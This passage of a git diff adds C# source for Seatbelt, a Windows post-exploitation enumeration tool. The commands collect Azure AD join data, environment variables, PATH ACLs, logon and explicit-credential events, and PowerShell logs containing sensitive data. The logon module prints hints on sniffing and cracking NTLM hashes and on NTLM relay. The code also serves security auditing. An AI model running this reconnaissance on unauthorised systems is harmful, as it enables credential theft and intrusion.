(DSREG_JOIN_INFO)Marshal.PtrToStructure(ptrJoinInfo, typeof(DSREG_JOIN_INFO)); + var JType = (DSregcmdDTO.JoinType)joinInfo.joinType; + var did = new Guid(joinInfo.DeviceId); + var tid = new Guid(joinInfo.TenantId); + + var data = Convert.FromBase64String(joinInfo.UserSettingSyncUrl); + var UserSettingSyncUrl = Encoding.ASCII.GetString(data); + var ptrUserInfo = joinInfo.pUserInfo; + + DSREG_USER_INFO? userInfo = null; + var cresult = new List(); + Guid? uid = null; + + if (ptrUserInfo != IntPtr.Zero) + { + userInfo = (DSREG_USER_INFO) Marshal.PtrToStructure(ptrUserInfo, typeof(DSREG_USER_INFO)); + uid = new Guid(userInfo?.UserKeyId); + var store = new X509Store(StoreName.My, StoreLocation.LocalMachine); + store.Open(OpenFlags.ReadOnly); + + foreach (var certificate in store.Certificates) + { + if (certificate.Subject.Equals($"CN={did}")) + { + cresult.Add(certificate); + } + } + + Marshal.Release(ptrUserInfo); + } + + Marshal.Release(ptrJoinInfo); + + yield return new DSregcmdDTO( + JType, + did, + joinInfo.IdpDomain, + tid, + joinInfo.JoinUserEmail, + joinInfo.TenantDisplayName, + joinInfo.MdmEnrollmentUrl, + joinInfo.MdmTermsOfUseUrl, + joinInfo.MdmComplianceUrl, + UserSettingSyncUrl, + cresult, + userInfo?.UserEmail, + uid, + userInfo?.UserKeyName + ); + } + else + { + WriteError("Unable to collect. No relevant information were returned"); + yield break; + } + + NetFreeAadJoinInformation(ptrJoinInfo); + + } + } + + internal class DSregcmdDTO : CommandDTOBase + { + public DSregcmdDTO(JoinType jType, Guid deviceId, string idpDomain, Guid tenantId, string joinUserEmail, string tenantDisplayName, string mdmEnrollmentUrl, string mdmTermsOfUseUrl, + string mdmComplianceUrl, string userSettingSyncUrl, List certInfo, string? userEmail, Guid? userKeyId, string? userKeyname) + { + JType = jType; + DeviceId = deviceId; + IdpDomain = idpDomain; + TenantId = tenantId; + JoinUserEmail = joinUserEmail; + TenantDisplayName = tenantDisplayName; + MdmEnrollmentUrl = mdmEnrollmentUrl; + MdmTermsOfUseUrl = mdmTermsOfUseUrl; + MdmComplianceUrl = mdmComplianceUrl; + UserSettingSyncUrl = userSettingSyncUrl; + CertInfo = certInfo; + UserEmail = userEmail; + UserKeyId = userKeyId; + UserKeyname = userKeyname; + } + public enum JoinType + { + DSREG_UNKNOWN_JOIN, + DSREG_DEVICE_JOIN, + DSREG_WORKPLACE_JOIN, + DSREG_NO_JOIN + } + public JoinType JType { get; } + public Guid DeviceId { get; } + public string IdpDomain { get; } + public Guid TenantId { get; } + public string JoinUserEmail { get; } + public string TenantDisplayName { get; } + public string MdmEnrollmentUrl { get; } + public string MdmTermsOfUseUrl { get; } + public string MdmComplianceUrl { get; } + public string UserSettingSyncUrl { get; } + public List CertInfo { get; } + public string? UserEmail { get; } + public Guid? UserKeyId { get; } + public string? UserKeyname { get; } + } + + [CommandOutputType(typeof(DSregcmdDTO))] + internal class DSregcmdFormatter : TextFormatterBase + { + public DSregcmdFormatter(ITextWriter writer) : base(writer) + { + // nothing goes here + } + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (DSregcmdDTO)result; + + WriteLine($" TenantDisplayName : {dto.TenantDisplayName}"); + WriteLine($" TenantId : {dto.TenantId}"); + WriteLine($" IdpDomain : {dto.IdpDomain}"); + WriteLine($" MdmEnrollmentUrl : {dto.MdmEnrollmentUrl}"); + WriteLine($" MdmTermsOfUseUrl : {dto.MdmTermsOfUseUrl}"); + WriteLine($" MdmComplianceUrl : {dto.MdmComplianceUrl}"); + WriteLine($" UserSettingSyncUrl : {dto.UserSettingSyncUrl}"); + WriteLine($" DeviceId : {dto.DeviceId}"); + WriteLine($" JoinType : {dto.JType}"); + WriteLine($" JoinUserEmail : {dto.JoinUserEmail}"); + WriteLine($" UserKeyId : {dto.UserKeyId}"); + WriteLine($" UserEmail : {dto.UserEmail}"); + WriteLine($" UserKeyname : {dto.UserKeyname}\n"); + + foreach (var cert in dto.CertInfo) + { + WriteLine($" Thumbprint : {cert.Thumbprint}"); + WriteLine($" Subject : {cert.Subject}"); + WriteLine($" Issuer : {cert.Issuer}"); + WriteLine($" Expiration : {cert.GetExpirationDateString()}"); + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EnvironmentPathCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EnvironmentPathCommand.cs new file mode 100644 index 0000000..047ab12 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EnvironmentPathCommand.cs @@ -0,0 +1,57 @@ +#nullable disable +using System; +using System.Security.AccessControl; +using System.Collections.Generic; +using System.IO; + +namespace Seatbelt.Commands.Windows +{ + internal class EnvironmentPathCommand : CommandBase + { + public override string Command => "EnvironmentPath"; + public override string Description => "Current environment %PATH$ folders and SDDL information"; + public override CommandGroup[] Group => new[] {CommandGroup.System}; + public override bool SupportRemote => false; // doesn't make sense to implement as we have "EnvironmentVariables" for remote hosts + + public EnvironmentPathCommand(Runtime runtime) : base(runtime) + { + } + + public override IEnumerable Execute(string[] args) + { + var pathString = Environment.GetEnvironmentVariable("Path"); + var paths = pathString.Split(';'); + + foreach(var path in paths) + { + var SDDL = ""; + + if(!String.IsNullOrEmpty(path.Trim())) + { + try + { + var security = Directory.GetAccessControl(path, AccessControlSections.Owner | AccessControlSections.Access); + SDDL = security.GetSecurityDescriptorSddlForm(AccessControlSections.Owner | AccessControlSections.Access); + } + catch + { + // eat it + } + + yield return new EnvironmentPathDTO() + { + Name = path.Trim(), + SDDL = SDDL + }; + } + } + } + + internal class EnvironmentPathDTO : CommandDTOBase + { + public string Name { get; set; } + public string SDDL { get; set; } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EnvironmentVariableCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EnvironmentVariableCommand.cs new file mode 100644 index 0000000..2d218ee --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EnvironmentVariableCommand.cs @@ -0,0 +1,82 @@ +#nullable disable +using Microsoft.Win32; +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using Seatbelt.Output.TextWriters; +using Seatbelt.Output.Formatters; + + +namespace Seatbelt.Commands.Windows +{ + internal class EnvironmentVariableCommand : CommandBase + { + public override string Command => "EnvironmentVariables"; + public override string Description => "Current environment variables"; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public EnvironmentVariableCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + var envVariables = new List(); + + try + { + var wmiData = ThisRunTime.GetManagementObjectSearcher(@"root\cimv2", "Select UserName,Name,VariableValue from win32_environment"); + var data = wmiData.Get(); + + foreach (var envVariable in data) + { + envVariables.Add(new EnvironmentVariableDTO( + envVariable["UserName"], + envVariable["Name"], + envVariable["VariableValue"] + )); + } + } + catch { } + + foreach (var envVariable in envVariables) + { + yield return envVariable; + } + + } + + internal class EnvironmentVariableDTO : CommandDTOBase + { + public EnvironmentVariableDTO(object userName, object name, object value) + { + UserName = userName.ToString(); + Name = name.ToString(); + Value = value.ToString(); + } + public string UserName { get; set; } + public string Name { get; set; } + public string Value { get; set; } + } + + + [CommandOutputType(typeof(EnvironmentVariableDTO))] + internal class EnvironmentVariableFormatter : TextFormatterBase + { + public EnvironmentVariableFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (EnvironmentVariableDTO)result; + + WriteLine(" {0,-35}{1,-35}{2}", dto.UserName, dto.Name, dto.Value); + } + } + } +} +#nullable enable \ No newline at end of file diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsCommand.cs new file mode 100644 index 0000000..f7e4cbd --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsCommand.cs @@ -0,0 +1,113 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.Eventing.Reader; +using System.Text.RegularExpressions; +using Seatbelt.Util; + +namespace Seatbelt.Commands.Windows.EventLogs.ExplicitLogonEvents +{ + internal class ExplicitLogonEventsCommand : CommandBase + { + public override string Description => "Explicit Logon events (Event ID 4648) from the security event log. Default of 7 days, argument == last X days."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Remote }; + public override string Command => "ExplicitLogonEvents"; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public ExplicitLogonEventsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + const string eventId = "4648"; + string? userFilterRegex = null; + + // grab events from the last X days - 7 for default, 30 for "-full" collection + // Always use the user-supplied value, if specified + var lastDays = 7; + if (args.Length >= 1) + { + if (!int.TryParse(args[0], out lastDays)) + { + WriteError("Argument is not an integer"); + + yield break; + } + } + else + { + if (!Runtime.FilterResults) + { + lastDays = 30; + } + } + + + if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote()) + { + WriteError("Unable to collect. Must be an administrator."); + yield break; + } + + WriteHost("Listing 4648 Explicit Credential Events - A process logged on using plaintext credentials"); + + if (args.Length >= 2) + { + userFilterRegex = args[1]; + WriteHost($"Username Filter: {userFilterRegex}"); + } + WriteHost("Output Format:"); + WriteHost(" --- TargetUser,ProcessResults,SubjectUser,IpAddress ---"); + WriteHost(" \n\n"); + + + var startTime = DateTime.Now.AddDays(-lastDays); + var endTime = DateTime.Now; + + var query = $@"*[System/EventID={eventId}] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]"; + + var logReader = ThisRunTime.GetEventLogReader("Security", query); + + for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) + { + //string subjectUserSid = eventDetail.Properties[0].Value.ToString(); + var subjectUserName = eventDetail.Properties[1].Value.ToString(); + var subjectDomainName = eventDetail.Properties[2].Value.ToString(); + //var subjectLogonId = eventDetail.Properties[3].Value.ToString(); + //var logonGuid = eventDetail.Properties[4].Value.ToString(); + var targetUserName = eventDetail.Properties[5].Value.ToString(); + var targetDomainName = eventDetail.Properties[6].Value.ToString(); + //var targetLogonGuid = eventDetail.Properties[7].Value.ToString(); + //var targetServerName = eventDetail.Properties[8].Value.ToString(); + //var targetInfo = eventDetail.Properties[9].Value.ToString(); + //var processId = eventDetail.Properties[10].Value.ToString(); + var processName = eventDetail.Properties[11].Value.ToString(); + var ipAddress = eventDetail.Properties[12].Value.ToString(); + //var IpPort = eventDetail.Properties[13].Value.ToString(); + + // Ignore the current machine logging on and + if (Runtime.FilterResults && Regex.IsMatch(targetUserName, Environment.MachineName) || + Regex.IsMatch(targetDomainName, @"^(Font Driver Host|Window Manager)$")) + { + continue; + } + + if (userFilterRegex != null && !Regex.IsMatch(targetUserName, userFilterRegex)) + continue; + + yield return new ExplicitLogonEventsDTO() + { + TimeCreatedUtc = eventDetail.TimeCreated?.ToUniversalTime(), + SubjectUser = subjectUserName, + SubjectDomain = subjectDomainName, + TargetUser = targetUserName, + TargetDomain = targetDomainName, + Process = processName, + IpAddress = ipAddress + }; + } + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsCommandDTO.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsCommandDTO.cs new file mode 100644 index 0000000..72da715 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsCommandDTO.cs @@ -0,0 +1,17 @@ +#nullable disable +using System; + +namespace Seatbelt.Commands.Windows.EventLogs.ExplicitLogonEvents +{ + internal class ExplicitLogonEventsDTO : CommandDTOBase + { + public string SubjectUser { get; set; } + public string SubjectDomain { get; set; } + public string TargetUser { get; set; } + public string TargetDomain { get; set; } + public string Process { get; set; } + public string IpAddress { get; set; } + public DateTime? TimeCreatedUtc { get; set; } + } +} +#nullable enable diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsTextFormatter.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsTextFormatter.cs new file mode 100644 index 0000000..6a7b5e4 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/ExplicitLogonEvents/ExplicitLogonEventsTextFormatter.cs @@ -0,0 +1,78 @@ +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using System.Collections.Generic; + +namespace Seatbelt.Commands.Windows.EventLogs.ExplicitLogonEvents +{ + [CommandOutputType(typeof(ExplicitLogonEventsDTO))] + internal class ExplicitLogonEventsTextFormatter : TextFormatterBase + { + private readonly Dictionary> events = new Dictionary>(); + + public ExplicitLogonEventsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (ExplicitLogonEventsDTO)result; + + var targetUser = dto.TargetDomain + "\\" + dto.TargetUser; + var subjectUser = dto.SubjectDomain + "\\" + dto.SubjectUser; + var uniqueCredKey = $"{targetUser},{dto.Process},{subjectUser},{dto.IpAddress}"; + + WriteLine($"{dto.TimeCreatedUtc?.ToLocalTime().ToString("MM/dd/yyyy hh:mm tt")},{uniqueCredKey}"); + + //if (events.TryGetValue(uniqueCredKey, out _) == false) + //{ + // events[uniqueCredKey] = new List + // { + // dto.TimeCreated.ToString() + // }; + //} + //else + //{ + // events[uniqueCredKey].Add(dto.TimeCreated.ToString()); + //} + + + //foreach (string key in events.Keys) + //{ + // WriteLine("\n\n --- " + key + " ---"); + // var dates = events[key].ToArray(); + // for (int i = 0; i < dates.Length; i++) + // { + // if (i % 4 == 0) + // { + // Write("\n "); + // } + + // Write(dates[i].PadRight(24)); + // } + + // Write("\n"); + + + //WriteLine("\n\n --- " + key + " ---"); + //var dates = events[key].ToArray(); + + //for (var i = 0; i < dates.Length; i++) + //{ + // if (i % 4 == 0) + // { + // WriteHost("\n "); + // } + + // WriteHost(dates[i]); + + // if (i != dates.Length - 1) + // { + // WriteHost(", "); + // } + //} + + //WriteLine(); + //} + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/LogonEventsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/LogonEventsCommand.cs new file mode 100644 index 0000000..fa1f834 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/LogonEventsCommand.cs @@ -0,0 +1,277 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics.Eventing.Reader; +using System.Linq; +using System.Text; +using System.Text.RegularExpressions; +using Seatbelt.Util; +using Seatbelt.Interop; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; +using static Seatbelt.Interop.Secur32; + +// TODO: Group unique credentials together like we do with explicit logon events +namespace Seatbelt.Commands.Windows.EventLogs +{ + internal class LogonEventsCommand : CommandBase + { + public override string Command => "LogonEvents"; + public override string Description => "Logon events (Event ID 4624) from the security event log. Default of 10 days, argument == last X days."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc, CommandGroup.Remote }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public LogonEventsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + if (!SecurityUtil.IsHighIntegrity() && !ThisRunTime.ISRemote()) + { + WriteError("Unable to collect. Must be an administrator/in a high integrity context."); + yield break; + } + + var NTLMv1Users = new HashSet(); + var NTLMv2Users = new HashSet(); + var KerberosUsers = new HashSet(); + + // grab events from the last X days - 10 for workstations, 30 for "-full" collection + // Always use the user-supplied value, if specified + var lastDays = 10; + if(ThisRunTime.ISRemote()) + { + lastDays = 5; + } + else if (Shlwapi.IsWindowsServer()) + { + lastDays = 1; + } + + string? userRegex = null; + + if (args.Length >= 1) + { + if (!int.TryParse(args[0], out lastDays)) + { + throw new ArgumentException("Argument is not an integer"); + } + } + + if (args.Length >= 2) + { + userRegex = args[1]; + } + + WriteVerbose($"Listing 4624 Account Logon Events for the last {lastDays} days.\n"); + + if (userRegex != null) + { + WriteVerbose($"Username Filter: {userRegex}"); + } + + var startTime = DateTime.Now.AddDays(-lastDays); + var endTime = DateTime.Now; + + var query = $@"*[System/EventID=4624] and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]]"; + var logReader = ThisRunTime.GetEventLogReader("Security", query); + + WriteHost(" TimeCreated,TargetUser,LogonType,IpAddress,SubjectUsername,AuthenticationPackageName,LmPackageName,TargetOutboundUser"); + + for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) + { + //var subjectUserSid = eventDetail.Properties[0].Value.ToString(); + var subjectUserName = eventDetail.Properties[1].Value.ToString(); + var subjectDomainName = eventDetail.Properties[2].Value.ToString(); + //var subjectLogonId = eventDetail.Properties[3].Value.ToString(); + //var targetUserSid = eventDetail.Properties[4].Value.ToString(); + var targetUserName = eventDetail.Properties[5].Value.ToString(); + var targetDomainName = eventDetail.Properties[6].Value.ToString(); + //var targetLogonId = eventDetail.Properties[7].Value.ToString(); + //var logonType = eventDetail.Properties[8].Value.ToString(); + var logonType = $"{(SECURITY_LOGON_TYPE)(int.Parse(eventDetail.Properties[8].Value.ToString()))}"; + //var logonProcessName = eventDetail.Properties[9].Value.ToString(); + var authenticationPackageName = eventDetail.Properties[10].Value.ToString(); + //var workstationName = eventDetail.Properties[11].Value.ToString(); + //var logonGuid = eventDetail.Properties[12].Value.ToString(); + //var transmittedServices = eventDetail.Properties[13].Value.ToString(); + var lmPackageName = eventDetail.Properties[14].Value.ToString(); + lmPackageName = lmPackageName == "-" ? "" : lmPackageName; + //var keyLength = eventDetail.Properties[15].Value.ToString(); + //var processId = eventDetail.Properties[16].Value.ToString(); + //var processName = eventDetail.Properties[17].Value.ToString(); + var ipAddress = eventDetail.Properties[18].Value.ToString(); + //var ipPort = eventDetail.Properties[19].Value.ToString(); + //var impersonationLevel = eventDetail.Properties[20].Value.ToString(); + //var restrictedAdminMode = eventDetail.Properties[21].Value.ToString(); + + var targetOutboundUserName = "-"; + var targetOutboundDomainName = "-"; + if (eventDetail.Properties.Count > 22) // Not available on older versions of Windows + { + targetOutboundUserName = eventDetail.Properties[22].Value.ToString(); + targetOutboundDomainName = eventDetail.Properties[23].Value.ToString(); + } + //var VirtualAccount = eventDetail.Properties[24].Value.ToString(); + //var TargetLinkedLogonId = eventDetail.Properties[25].Value.ToString(); + //var ElevatedToken = eventDetail.Properties[26].Value.ToString(); + + // filter out SYSTEM, computer accounts, local service accounts, UMFD-X accounts, and DWM-X accounts (for now) + var userIgnoreRegex = "^(SYSTEM|LOCAL SERVICE|NETWORK SERVICE|UMFD-[0-9]+|DWM-[0-9]+|ANONYMOUS LOGON|" + Environment.MachineName + "\\$)$"; + if (userRegex == null && Regex.IsMatch(targetUserName, userIgnoreRegex, RegexOptions.IgnoreCase)) + continue; + + var domainIgnoreRegex = "^(NT VIRTUAL MACHINE)$"; + if (userRegex == null && Regex.IsMatch(targetDomainName, domainIgnoreRegex, RegexOptions.IgnoreCase)) + continue; + + + // Handle the user filter + if (userRegex != null && !Regex.IsMatch(targetUserName, userRegex, RegexOptions.IgnoreCase)) + continue; + + // Analyze the output + if (logonType == "Network") + { + var accountName = $"{targetDomainName}\\{targetUserName}"; + if (authenticationPackageName == "NTLM") + { + switch (lmPackageName) + { + case "NTLM V1": + NTLMv1Users.Add(accountName); + break; + case "NTLM V2": + NTLMv2Users.Add(accountName); + break; + } + } + else if (authenticationPackageName == "Kerberos") + { + KerberosUsers.Add(accountName); + } + } + + yield return new LogonEventsDTO( + eventDetail.TimeCreated?.ToUniversalTime(), + targetUserName, + targetDomainName, + logonType, + ipAddress, + subjectUserName, + subjectDomainName, + authenticationPackageName, + lmPackageName, + targetOutboundUserName, + targetOutboundDomainName + ); + } + + + // TODO: Move all of this into a Foramtter class + if (NTLMv1Users.Count > 0 || NTLMv2Users.Count > 0) + { + WriteHost("\n Other accounts authenticate to this machine using NTLM! NTLM-relay may be possible"); + } + + if (NTLMv1Users.Count > 0) + { + WriteHost("\n Accounts authenticate to this machine using NTLM v1!"); + WriteHost(" You can obtain these accounts' **NTLM** hashes by sniffing NTLM challenge/responses and then cracking them!"); + WriteHost(" NTLM v1 authentication is 100% broken!\n"); + + PrintUserSet(NTLMv1Users); + } + + if (NTLMv2Users.Count > 0) + { + WriteHost("\n Accounts authenticate to this machine using NTLM v2!"); + WriteHost(" You can obtain NetNTLMv2 for these accounts by sniffing NTLM challenge/responses."); + WriteHost(" You can then try and crack their passwords.\n"); + + PrintUserSet(NTLMv2Users); + } + + if (KerberosUsers.Count > 0) + { + WriteHost("\n The following users have authenticated to this machine using Kerberos.\n"); + PrintUserSet(KerberosUsers); + } + } + + private void PrintUserSet(HashSet users) + { + var set = users.OrderBy(u => u).ToArray(); + + var line = new StringBuilder(); + for (var i = 0; i < set.Length; i++) + { + if (i % 3 == 0) + { + WriteHost(line.ToString()); + line.Length = 0; + line.Append(" "); + } + + line.Append(set.ElementAt(i).PadRight(30)); + } + + WriteHost(line.ToString()); + WriteHost(); + } + } + + internal class LogonEventsDTO : CommandDTOBase + { + public LogonEventsDTO(DateTime? timeCreatedUtc, string targetUserName, string targetDomainName, string logonType, string ipAddress, string subjectUserName, string subjectDomainName, string authenticationPackage, string lmPackage, string targetOutboundUserName, string targetOutboundDomainName) + { + TimeCreatedUtc = timeCreatedUtc; + TargetUserName = targetUserName; + TargetDomainName = targetDomainName; + LogonType = logonType; + IpAddress = ipAddress; + SubjectUserName = subjectUserName; + SubjectDomainName = subjectDomainName; + AuthenticationPackage = authenticationPackage; + LmPackage = lmPackage; + TargetOutboundUserName = targetOutboundUserName; + TargetOutboundDomainName = targetOutboundDomainName; + } + + public DateTime? TimeCreatedUtc { get; set; } + public string TargetUserName { get; set; } + public string TargetDomainName { get; set; } + public string LogonType { get; set; } + public string IpAddress { get; set; } + public string SubjectUserName { get; set; } + public string SubjectDomainName { get; set; } + public string AuthenticationPackage { get; set; } + public string LmPackage { get; set; } + public string TargetOutboundUserName { get; set; } + public string TargetOutboundDomainName { get; set; } + } + + [CommandOutputType(typeof(LogonEventsDTO))] + internal class LogonEventsTextFormatter : TextFormatterBase + { + public LogonEventsTextFormatter(ITextWriter writer) : base(writer) + { + } + + public override void FormatResult(CommandBase? command, CommandDTOBase result, bool filterResults) + { + var dto = (LogonEventsDTO)result; + var targetUser = dto.TargetDomainName + "\\" + dto.TargetUserName; + var subjectUser = dto.SubjectDomainName + "\\" + dto.SubjectUserName; + string targetOutboundUser = ""; + if (dto.TargetOutboundUserName != "-") + { + targetOutboundUser = dto.TargetOutboundDomainName + "\\" + dto.TargetOutboundUserName; + } + + WriteLine($" {dto.TimeCreatedUtc?.ToLocalTime()},{targetUser},{dto.LogonType},{dto.IpAddress},{subjectUser},{dto.AuthenticationPackage},{dto.LmPackage},{targetOutboundUser}"); + } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/PowerShellEventsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/PowerShellEventsCommand.cs new file mode 100644 index 0000000..9b6d6b8 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/PowerShellEventsCommand.cs @@ -0,0 +1,120 @@ +using Seatbelt.Util; +using System; +using System.Collections.Generic; +using System.Diagnostics.Eventing.Reader; +using System.Text.RegularExpressions; + +namespace Seatbelt.Commands.Windows.EventLogs +{ + internal class PowerShellEventsCommand : CommandBase + { + public override string Command => "PowerShellEvents"; + public override string Description => "PowerShell script block logs (4104) with sensitive data."; + public override CommandGroup[] Group => new[] { CommandGroup.Misc }; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public PowerShellEventsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // adapted from @djhohnstein's EventLogParser project + // https://github.com/djhohnstein/EventLogParser/blob/master/EventLogParser/EventLogHelpers.cs + // combined with scraping from https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/windows-commands + + WriteVerbose($"Searching script block logs (EID 4104) for sensitive data.\n"); + + var context = 3; // number of lines around the match to display + + string[] powershellLogs = { "Microsoft-Windows-PowerShell/Operational", "Windows PowerShell" }; + + // Get our "sensitive" cmdline regexes from a common helper function. + var powershellRegex = MiscUtil.GetProcessCmdLineRegex(); + + if (args.Length >= 1) + { + string allArgs = String.Join(" ", args); + powershellRegex = new Regex [] { new Regex(allArgs, RegexOptions.IgnoreCase & RegexOptions.Multiline) }; + } + + foreach (var logName in powershellLogs) + { + var query = "*[System/EventID=4104]"; + + var logReader = ThisRunTime.GetEventLogReader(logName, query); + + for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) + { + var scriptBlock = eventDetail.Properties[2].Value.ToString(); + + foreach (var reg in powershellRegex) + { + var m = reg.Match(scriptBlock); + if (!m.Success) + continue; + + var contextLines = new List(); + + var scriptBlockParts = scriptBlock.Split('\n'); + for (var i = 0; i < scriptBlockParts.Length; i++) + { + if (!scriptBlockParts[i].Contains(m.Value)) + continue; + + var printed = 0; + for (var j = 1; i - j > 0 && printed < context; j++) + { + if (scriptBlockParts[i - j].Trim() == "") + continue; + + contextLines.Add(scriptBlockParts[i - j].Trim()); + printed++; + } + printed = 0; + contextLines.Add(m.Value.Trim()); + for (var j = 1; printed < context && i + j < scriptBlockParts.Length; j++) + { + if (scriptBlockParts[i + j].Trim() == "") + continue; + + contextLines.Add(scriptBlockParts[i + j].Trim()); + printed++; + } + break; + } + + var contextJoined = string.Join("\n", contextLines.ToArray()); + + yield return new PowerShellEventsDTO( + eventDetail.TimeCreated, + eventDetail.Id, + $"{eventDetail.UserId}", + m.Value, + contextJoined + ); + } + } + } + } + } + + internal class PowerShellEventsDTO : CommandDTOBase + { + public PowerShellEventsDTO(DateTime? timeCreated, int eventId, string userId, string match, string context) + { + TimeCreated = timeCreated; + EventId = eventId; + UserId = userId; + Match = match; + Context = context; + } + public DateTime? TimeCreated { get; } + public int EventId { get; } + public string UserId { get; } + public string Match { get; } + public string Context { get; } + } +} diff --git a/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/PoweredOnEventsCommand.cs b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/PoweredOnEventsCommand.cs new file mode 100644 index 0000000..3af8275 --- /dev/null +++ b/post_exploitation/Seatbelt/Seatbelt/Commands/Windows/EventLogs/PoweredOnEventsCommand.cs @@ -0,0 +1,117 @@ +#nullable disable +using System; +using System.Collections.Generic; +using System.Diagnostics.Eventing.Reader; +using Seatbelt.Output.Formatters; +using Seatbelt.Output.TextWriters; + +namespace Seatbelt.Commands.Windows.EventLogs +{ + internal class PoweredOnEventsCommand : CommandBase + { + public override string Command => "PoweredOnEvents"; + public override string Description => "Reboot and sleep schedule based on the System event log EIDs 1, 12, 13, 42, and 6008. Default of 7 days, argument == last X days."; + public override CommandGroup[] Group => new[] {CommandGroup.System, CommandGroup.Remote}; + public override bool SupportRemote => true; + public Runtime ThisRunTime; + + public PoweredOnEventsCommand(Runtime runtime) : base(runtime) + { + ThisRunTime = runtime; + } + + public override IEnumerable Execute(string[] args) + { + // queries event IDs 12 (kernel boot) and 13 (kernel shutdown), sorts, and gives reboot schedule + // grab events from the last X days - 15 for default + var lastDays = 7; + + if (!Runtime.FilterResults) + { + lastDays = 30; + } + + if (args.Length == 1) + { + if (!int.TryParse(args[0], out lastDays)) + { + WriteError("Could not parse number"); + yield break; + } + } + + WriteHost($"Collecting kernel boot (EID 12) and shutdown (EID 13) events from the last {lastDays} days\n"); + WriteHost("Powered On Events (Time is local time)"); + + var startTime = DateTime.Now.AddDays(-lastDays); + var endTime = DateTime.Now; + + + // eventID 1 == sleep + var query = $@" +((*[System[(EventID=12 or EventID=13) and Provider[@Name='Microsoft-Windows-Kernel-General']]] or *[System/EventID=42]) or (*[System/EventID=6008]) or (*[System/EventID=1] and *[System[Provider[@Name='Microsoft-Windows-Power-Troubleshooter']]])) and *[System[TimeCreated[@SystemTime >= '{startTime.ToUniversalTime():o}']]] and *[System[TimeCreated[@SystemTime <= '{endTime.ToUniversalTime():o}']]] +"; + + var logReader = ThisRunTime.GetEventLogReader("System", query); + + for (var eventDetail = logReader.ReadEvent(); eventDetail != null; eventDetail = logReader.ReadEvent()) + { + string action = null; + switch (eventDetail.Id) + { + case 1: + action = "awake"; + break; + case 12: + action = "startup"; + break; + case 13: + action = "shutdown"; + break; + case 42: + action = "sleep"; + break; + case 6008: + action = "shutdown(UnexpectedShutdown)"; + break; + } + + yield return new PoweredOnEventsDTO() + { + DateUtc = (DateTime)eventDetail.TimeCreated?.ToUniversalTime(), + Description = action + }; + } + } + } + + internal class PoweredOnEventsDTO : 